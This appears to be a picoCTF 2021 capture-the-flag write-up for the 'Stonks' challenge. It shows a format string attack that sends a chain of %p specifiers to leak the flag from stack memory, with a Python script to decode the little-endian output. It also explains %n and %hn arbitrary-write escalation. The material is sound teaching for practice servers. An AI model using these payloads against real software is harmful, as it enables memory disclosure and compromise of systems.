Stonks picoCTF 2021 Solution

Published: April 2, 2026

Description

I bet you can't read my API token. nc mercury.picoctf.net 33411

Remote

Connect via netcat to interact with the stock market application.

bash
nc mercury.picoctf.net 33411

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Trigger the format string vulnerability
    Observation
    I noticed the program accepts a user-supplied API token and echoes it back, which suggested the token was being passed directly to printf without a format specifier, making the application vulnerable to a format string attack exploitable via %p specifiers.
    Select option 1 (Buy some stonks). When prompted for an API token, enter a format string composed of %p specifiers separated by dots. %p prints the next stack value as a pointer (hex). Enter 16 or more %p specifiers to walk up the stack and leak flag bytes.
    bash
    nc mercury.picoctf.net 33411
    bash
    # When prompted for API token, enter:
    bash
    %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

    Expected output

    picoCTF{I_l05t_4ll_my_m0n3y_...}
    What didn't work first

    Tried: Send %s specifiers instead of %p to try to read flag bytes as strings.

    %s tells printf to dereference the stack value as a pointer and print the string at that address. Stack slots that hold raw integer data or small addresses often point nowhere valid, so printf segfaults the remote process or returns garbage instead of flag text. %p is safer because it just prints the slot value as a hex integer without dereferencing, letting you see the raw bytes the flag was packed into.

    Tried: Enter the format string for option 2 (portfolio view) instead of option 1 (buy stonks).

    Only the buy-stonks code path passes the user-supplied API token string directly into printf without a format specifier. The portfolio view uses a different print path that does not invoke the vulnerable call, so no leak occurs. You must select option 1 and supply the format string as the API token input.

    Learn more

    A format string vulnerability occurs when user input is passed directly as the format string argument to printf() or similar functions. When printf(user_input) is called instead of printf("%s", user_input), the format specifiers in user_input are interpreted by printf, giving the attacker access to the stack.

    How printf walks its variadic args (32-bit i386 calling convention). The format string itself is at [esp]. Each %p consumes the next stack slot, advancing four bytes:

    vuln() stack at printf(user_input):
      [esp+0x00] -> &user_input         (the format string itself)
      [esp+0x04] -> stack arg 1   <- %p / %1$p
      [esp+0x08] -> stack arg 2   <- %p / %2$p
      ...
      [esp+0x40] -> flag[0..3]    <- "pico" as 0x6f636970
      [esp+0x44] -> flag[4..7]    <- "CTF{" as 0x7b465443
      [esp+0x48] -> flag[8..11]   <- ...
      [esp+0x4c] -> flag[12..15]
      ...

    Each 4-byte stack slot containing flag bytes prints as a little-endian hex value. The string "pico" (bytes 70 69 63 6f) appears in printf output as 0x6f636970 because the lowest-address byte (p) sits in the lowest 8 bits of the integer.

    Position arguments (%n$p). Once you know the flag starts at stack-arg position 16, you can skip the early garbage with %16$p.%17$p.%18$p.... printf jumps directly to that index without consuming the earlier ones. This is essential for crafting compact format strings under length limits.

    Other useful specifiers: %s dereferences a pointer and prints the string at that address (arbitrary read), %n writes the number of bytes printed so far to *ptr (arbitrary write), %hhn/%hn for byte/short writes.

  2. Step 2
    Parse the leaked hex values to reconstruct the flag
    Observation
    I noticed the %p output contained values like 0x6f636970 and 0x7b465443, which are the ASCII bytes for 'pico' and 'CTF{' stored in little-endian order on the stack, suggesting I needed to reverse the byte order within each 32-bit word and filter for printable ASCII to recover the flag.
    Collect the %p output values. Each value is a 4-byte (32-bit) little-endian integer. Reverse the byte order within each value and convert to ASCII characters, filtering for printable characters. Concatenate to reconstruct the flag string.
    python
    python3 << 'EOF'
    # Replace with your actual %p output values
    leak = "0x8.0x804b0e0.0x804b0c0.0x6f636970.0x7b465443.0x6c5f3449.0x306d5f35.0x795f336e.0x6165685f.0x33355f70.0x63343836.0x65346230.0x7d393738.0xa.None.None"
    parts = [p for p in leak.split('.') if p and p != 'None' and p.startswith('0x')]
    flag = ''
    for p in parts:
        val = int(p, 16)
        # Extract 4 bytes in little-endian order
        for i in range(4):
            byte = (val >> (8 * i)) & 0xff
            if 32 <= byte <= 126:
                flag += chr(byte)
    print(flag)
    EOF
    What didn't work first

    Tried: Print each leaked hex word in big-endian order (most significant byte first) to get the ASCII characters.

    x86 is little-endian, so the lowest-address byte of each 4-byte word is stored in the lowest 8 bits of the integer. Printing big-endian reverses the character order within every group of four, producing garbled output like 'ocipTCF{' instead of 'picoCTF{'. The correct approach extracts byte i with (val >> (8 * i)) & 0xff for i in 0..3, which reads bytes from lowest to highest address.

    Tried: Include 'None' and '0x8' non-flag entries in the ASCII conversion loop without filtering.

    Early stack slots contain small integers, null bytes, or Python 'None' strings from values printf printed as '(nil)'. Including them inserts control characters and numeric garbage before the flag text. Filtering to only entries that start with '0x' and stripping bytes outside printable ASCII range 32-126 isolates just the flag characters.

    Learn more

    The flag is stored on the stack as a C string - a sequence of bytes in memory. Since x86 is little-endian, the bytes within each 4-byte word appear in reversed order when printed as a 32-bit integer. For example, the bytes for "pico" (0x70, 0x69, 0x63, 0x6f) appear as the hex value 0x6f636970 because the lowest address byte is placed in the lowest bits.

    Reversing this requires extracting each byte from the integer using bit shifts and masking: (val >> (8 * i)) & 0xff for i = 0, 1, 2, 3. Filtering for printable ASCII (32-126) removes null bytes and non-printable characters from the output.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{I_l05t_4ll_my_m0n3y_...}

Format string vulnerability leaking the flag from the stack via %p specifiers on the 'buy stonks' code path.

Key takeaway

Format string vulnerabilities arise when user input is passed directly as the first argument to printf rather than as a data argument with a fixed format specifier. The %p specifier causes printf to consume stack values as arguments, leaking memory addresses and data (including secrets stored nearby on the stack) without any bounds checking. This class of bug appears in network daemons, logging libraries, and embedded firmware, and escalates from information disclosure to arbitrary write via the %n specifier.

Related reading

Want more picoCTF 2021 writeups?

Useful tools for Binary Exploitation

What to try next